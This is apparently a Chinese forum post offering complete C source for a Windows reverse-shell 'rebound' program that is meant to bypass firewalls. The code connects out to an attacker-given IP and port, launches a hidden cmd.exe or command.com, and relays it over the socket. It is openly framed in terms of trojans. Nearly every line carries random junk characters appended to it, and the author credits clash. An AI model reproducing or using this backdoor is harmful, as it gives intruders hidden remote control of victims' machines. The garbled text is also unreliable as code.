这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LlQsc{Ddf
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/* ============================== ~$HB}/
Rebound port in Windows NT
7=6:ZSI
By wind,2006/7 )5Khl"6!z
===============================*/ ]<f)Rf">:`
#include FQ<-Wc
#include y*i&p4Y*
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#pragma comment(lib,"wsock32.lib") 1X?ro;
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void OutputShell(); c?A$Y?|9
SOCKET sClient; }\"EI<$s
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3Zb%-_%j
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void main(int argc,char **argv) iE~!?N|a3
{ +K4XMf
WSADATA stWsaData; AWR :~{
int nRet; AjVC{\Ik
SOCKADDR_IN stSaiClient,stSaiServer; k"N>pjgd$
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if(argc != 3) zKQ<Zr
{ ,-c,3/tyA
printf("Useage:\n\rRebound DestIP DestPort\n"); 66v,/#K
return; 8 1,N92T5
} ZoG@"vr2
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WSAStartup(MAKEWORD(2,2),&stWsaData); hg)Xr5>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Th)
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stSaiClient.sin_family = AF_INET; DSrU7#
stSaiClient.sin_port = htons(0); *QC6zJ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7~h3B<
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .a%6A#<X
{ *[Hp&6f
printf("Bind Socket Failed!\n"); dAI^ P/y%
return; e+[*4)Qfy
} 3<xE_ \DR
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stSaiServer.sin_family = AF_INET; VE|:k:};
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); p _gN}v
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _{*} )&!M
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) bfxE}>
{ 5nG\J
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printf("Connect Error!"); /JD}b[J$
return; wLV,E,gM
} r&u1-%%9[
OutputShell(); F @PPhzZ
} iQG!-.aX
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void OutputShell() W5|{A])N
{ a"#t'\
char szBuff[1024]; ;d?BVe?
SECURITY_ATTRIBUTES stSecurityAttributes; @cDB 7w\
OSVERSIONINFO stOsversionInfo; LRJX>+@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +:KZEFY?<
STARTUPINFO stStartupInfo; i).%GMv*r
char *szShell; {*_Ln
PROCESS_INFORMATION stProcessInformation; Aiq Kf=
unsigned long lBytesRead; ,1]UOQ>AP
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TFSdb\g
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); oC&}lp)q
stSecurityAttributes.lpSecurityDescriptor = 0; omfX2Oa2
stSecurityAttributes.bInheritHandle = TRUE; N*IroT3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e@'x7Zzh
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \8{SQ%
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }z]d]
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?^&ih:"
stStartupInfo.wShowWindow = SW_HIDE; A c_P^
stStartupInfo.hStdInput = hReadPipe; IFLphm5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ql?w6qFs]
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GetVersionEx(&stOsversionInfo); )~'UJPK
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switch(stOsversionInfo.dwPlatformId) s< tG
{ uKx:7"KD
case 1: }8O9WS
szShell = "command.com"; }&v}S6T
break; L$ T2 bul
default: "aGmv9\
szShell = "cmd.exe"; rZUTBLZ`j
break; & 9e
} v`h>5#_[
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %JeNDXbI4
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send(sClient,szMsg,77,0); dle\}Sy=
while(1) gwaSgV$z
{ 4MC]s~n
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6~dAK3v5
if(lBytesRead) O"\4[HE^
{ S^s-md>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ar%*NxX
send(sClient,szBuff,lBytesRead,0); M6-uTmN:d
} $QiMA,
else p{E(RsA
{ U6JD^G=qR,
lBytesRead=recv(sClient,szBuff,1024,0); U]Q5};FK
if(lBytesRead<=0) break; 3W'fEh5
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;MfqI/B{
} >MYxj}I4{z
} 7w73,r/D8A
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return; L=(-BYS
}